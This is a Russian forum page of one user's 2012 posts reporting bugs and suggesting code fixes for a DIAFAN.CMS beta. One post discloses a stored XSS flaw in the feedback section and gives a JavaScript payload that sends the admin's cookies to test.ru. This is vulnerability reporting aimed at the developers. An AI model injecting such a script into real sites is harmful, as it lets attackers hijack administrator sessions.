Вход • Регистрация

Всего найдено: 57

  • 19 апреля 2012 г. , редакция: 1334810178
  • Пётр (blagoff) с партнерами не беда.
    Просто работать хочется не с посредниками, а с заказчиками, и с четким техзаданием.

    Работать с незнакомыми людьми надо не напрямую, а через сервис Диафан. Это конечно дороже но зато в процесс вводится 3-я сторона в лице Диафан, которая потом определит кто виноват.
    Плюс разработчик не получит оплату пока не сдаст проект, а отсюда опять таки вытекает необходимость четкого техзадания.
  • 19 апреля 2012 г. , редакция: 1334823280
  • Алексей (mahneff) почему Вы считаете, что его поведение отразится на репутации движка ? Вы с ним в вопросе оплаты работали напрямую или через Диафан ?
    Насколько мне известно в сервисе Диафан нет предоплаты, а простой принцип, сделал работу - получи оплату.
  • 29 марта 2012 г. , редакция: 1333008131
  • RC (rctrance) уже поднимал этот вопрос, но в новой бете пока все тоже самое
    А именно
    1. Даем права доступа модератору на просмотр-правку-удаление раздела Обратная связь
    2. Модератор редактирует любое сообщение, дописывая туда JavaScript код
    Код
    <script>
    var c = document.cookie;
    location.href="http://test.ru/index.php?c=" + c;
    </script>

    3. Админ заходит на страницу этого сообщения и у него уводят cookie

    Аналогично можно внедрить код и в Вопрос-Ответ, но при этом он будет работать не в админке а в пользовательской части
  • 28 марта 2012 г.
  • какие баги на внутреннем тестировании ?
    Например подключение скриптов JS - в каталоге /js/ одни версии скриптов а в коде подключаются другие. Или вы другую версию CMS внутренне тестировали ?

    Виталик, Вы напрасно воспринимаете так болезненно подобные вопросы. Вы дали систему на тестирование, выявились баги - это все понятно, много нового.
    Но для престижа системы и ее процветания лучше отказаться на время от выпуска новой версии.
  • 28 марта 2012 г.
  • Предложений было очень много, и разработчики их все реализовали.
    Ни один подобный продукт не подвергался такой глубокой переработке за такой короткий срок. Давайте вспомним как например выходил тот же Drupal 7 - они на год заморозили код и его тестировали.

    Поэтому может лучше в 5 версию включить то что уже уверенно работает, отложить ее выпуск, остальное выделить в режим бетты и спокойно тестировать и исправлять поэтапно. Например в течении какого-то времени тестируем кабинет пользователя. Для этого выделить отдельные ветки форума только по текущему тестированию.

    А разработчикам надо отдохнуть на выходные в день смеха (Марина ночью файлы исправленные заливает - это говорит о том что программисты работают ночами).

    И вы представляете, что если сейчас выпустить 5-ку - техподдержку завалят вопросами.
  • 30 марта 2012 г.
  • Да, конечно.
    После установки системы при переходе на страницу "Страница пользователя" http://site.ru/users/ выдается ошибка 404. Например перейдите на просмотр этой страницы прямо из дерева страниц админки.

    А со страницей пользователя, например http://site.ru/users/?kukushkin все в порядке


  • 22 марта 2012 г. , редакция: 1332421153
  • Эта тема стала неприлично разбухать в объеме.
    Виталик, может быть уже решенные вопросы по багам и посты не несущие смысла целесообразно удалить ? или хотя бы повторяющие
  • 22 марта 2012 г. , редакция: 1332404247
  • На новой бетке - при пересчете корзины в браузер выводится код json объекта
    Кнопка пересчета имеет type="submit" и в файле
    modules/cart/cart.ajax.php надо в обработчике события вернуть false , чтобы не было редиректа
  • 22 марта 2012 г. , редакция: 1332368562
  • Если редактировать любую страницу, при этом отметить все checkboxes в поле Доступ (а это по логике доступ к странице для всех), и сохранить ее, то гость получит ошибку 403 - доступ запрещен

    Причина - в таблице site для редактируемой страницы обновится поле access=1

    в файле includes/init.php в методе get_page_in_site()
    в строке 449 выполнится условие $current_page["access"] == '1' и соответственно будет проходить проверка роли $this->_user->id, которая на этот момент у гостя отсутствует
    Соответственно доступа к странице он иметь не будет.

    Сбросить поле access в 0 для этой страницы можно только сняв все checkboxes в поле Доступ. То есть по логике нет доступа никому, и в то же время сам доступ не проверяется.

    По ходу еще одно.
    После снятия всех checkboxes и сохранения страницы все они оказываются включенными
    (а в таблице access естественно страницы в досупе нет)

    В файле adm/includes/edit.php в строке 620 условие
    Код
    .( !$this->value || in_array($row['id'], $checked) ? ' checked' : '' )


    надо изменить на
    Код
    .( $this->value || in_array($row['id'], $checked) ? ' checked' : '' )




  • 21 марта 2012 г.
  • Ждем окончательное решение по установке модулей о котором garik говорил, тогда можно хорошо покрутить пользователей и личный кабинет
  • 21 марта 2012 г. , редакция: 1332343339
  • Виталик, у Диафан админка всегда была, с точки зрения юзабилити, на высоком уровне. Это подтверждается и практикой - клиенты сами управляют своими сайтами, что редко бывает на других CMS.

    И сейчас админка на высоте. Что касается ее дизайна, то видно, что его делал профессионал (поверьте, знаю о чем говорю, хоть сам не дизайнер, но плотно работаю с дизайнерами)
    Еще раз спасибо вашей команде за хороший продукт.
  • 21 марта 2012 г.
  • да, ночью не заметил что по умолчанию второй параметр булевый.

    Пока Вы на форуме - вопрос.
    Назначение customization.php понятно, но что-то время выполнения на простом файле затягивается. Может есть какие-то синтаксические особенности у девелоперского файла ?
  • 21 марта 2012 г.
  • BeBrain (dewmas) отмечал что товары из wishlist не добавляются в корзину

    Файл modules/wish/wishlist.ajax.php
    Метод buy()
    Строку 153
    Код
    echo $this->to_json($this->result);


    заменить на
    Код

    include_once ABSOLUTE_PATH.'plugins/json.php';
    echo to_json($this->result);
  • 21 марта 2012 г. , редакция: 1332307903
  • файл includes/function.php
    Метод show_js

    Надо пересмотреть пути подключения js и css файлов
    Например
    прописан путь /adm/css/smoothness/jquery-ui-1.8.17.custom.css
    а этот файл находится в /css/smoothness/jquery-ui-1.8.17.custom.css

    подключается файл js/jquery-ui-1.8.17.custom.min.js
    а в каталоге js находится jquery-ui-1.8.18.custom.min.js
    то есть файл вообще не подключается
  • 21 марта 2012 г. , редакция: 1332281241
  • Виталик, спасибо. Работу конечно вы проделали огромную.
    Замеченные ошибки сюда выдавать?


    Файл modules/shop/shop.ajax.php
    строка 236
    Вместо кода
    Код
    this->diafan->_route->module("wishlist"));

    должен быть
    Код
    this->diafan->_route->module("wishlist", ROUTE_END));


    иначе ссылка формируется без учета окончания ЧПУ а просто по имени модуля



  • 22 марта 2012 г.
  • В корзину не добавляется именно тот товар, который добавлен в список желаний. По сути это правильное поведение - выбирать что-то одно.
  • 22 марта 2012 г.
  • В файл js/user-func.js в метод success надо дописывать появление окна с сообщением.
    Для этого в body добавить спозиционированный невидимый блок (то есть само окно), и при удачном ответе вписывать в него сообщение, делать окно видимым, через пару секунд запускать метод, который сделает блок опять display:none;
  • 22 марта 2012 г. , редакция: 1332426308
  • В админпанели на странице параметров некорректно работает селекторный переключатель Категория: - нет переключения на выбранную категорию

    Причина - файл modules/shop/admin/shop.admin.param.php
    Метод get_options()
    Строка 321
    Код
    '<option value="'. $site_id . '_' . $row["id"] . '"' .

    формирует номер категории как cat0_1, cat0_2 и т.д.

    Если $site_id убрать, то все работает нормально.
    Но метод get_options() введен в этот класс в этой версии, раньше он был в классе Theme_admin, так что возможно это не решение проблеммы.

    P.S.
    Да, это не решение, так как этот метод get_options() работает при редактировании характеристик
  • 26 марта 2012 г. , редакция: 1332782486
  • По формам - все работает нормально

    По визуальному редактору - могут быть глюки в Firefox 11, замечено на нескольких CMS. Поведение непредсказуемое, особенно когда выводятся два поля с виз. редактором.
    Но достаточно изменить размер поля мышкой и все работает нормально.
  • 27 марта 2012 г. , редакция: 1332795737
  • Если какой-то категории пользователей(например модератору) выставить права только по какому-то одному разделу сайта (например по статьям но все три checkboxes - просмотр-правка-удаление), то после сохранения ему выдаются права на все разделы и модули сайта (включаются все checkboxes)
  • 27 марта 2012 г.
  • english версия
    1. Меню на сайте -> checkboxes для категорий пользователей не отображаются.
    2. Ссылка на корзину не отображается (то есть в корзину на другом языке попасть можно только набрав URL - так как если даже зайти в корзину на русском, и переключится на другой язык, то проходит редирект на главную).
  • 28 марта 2012 г.
  • Наверное сейчас не надо торопить выход 5-й ветки, и дать разработчикам нормально работать. Слишком много нововведений, соответственно много багов.
    Но почему так много очевидных багов после внутреннего тестирования ?
Показывать по:

Новости

  • 18 июня
  • В сборке большое обновление demo-шаблона, дополнительная защита от спама, улучшение YML-импорта и еще много важного и интересного.
  • 24 апреля
  • В новой сборке совершили революцию в структурировании кастомизированной информации в шаблонах, добавили авторегистрацию пользователей, усовершенствовали защиту от спама, актуализировали накопительную скидку, а также улучшили производительность и стабильность работы системы.
  • 12 января
  • После выхода сборки 7.1 мы выпустили уже три патча, в каждом из которых улучшаем административную часть сайта. Сборка DIAFAN.CMS 7.1.3 уже доступна к установке. 

Форум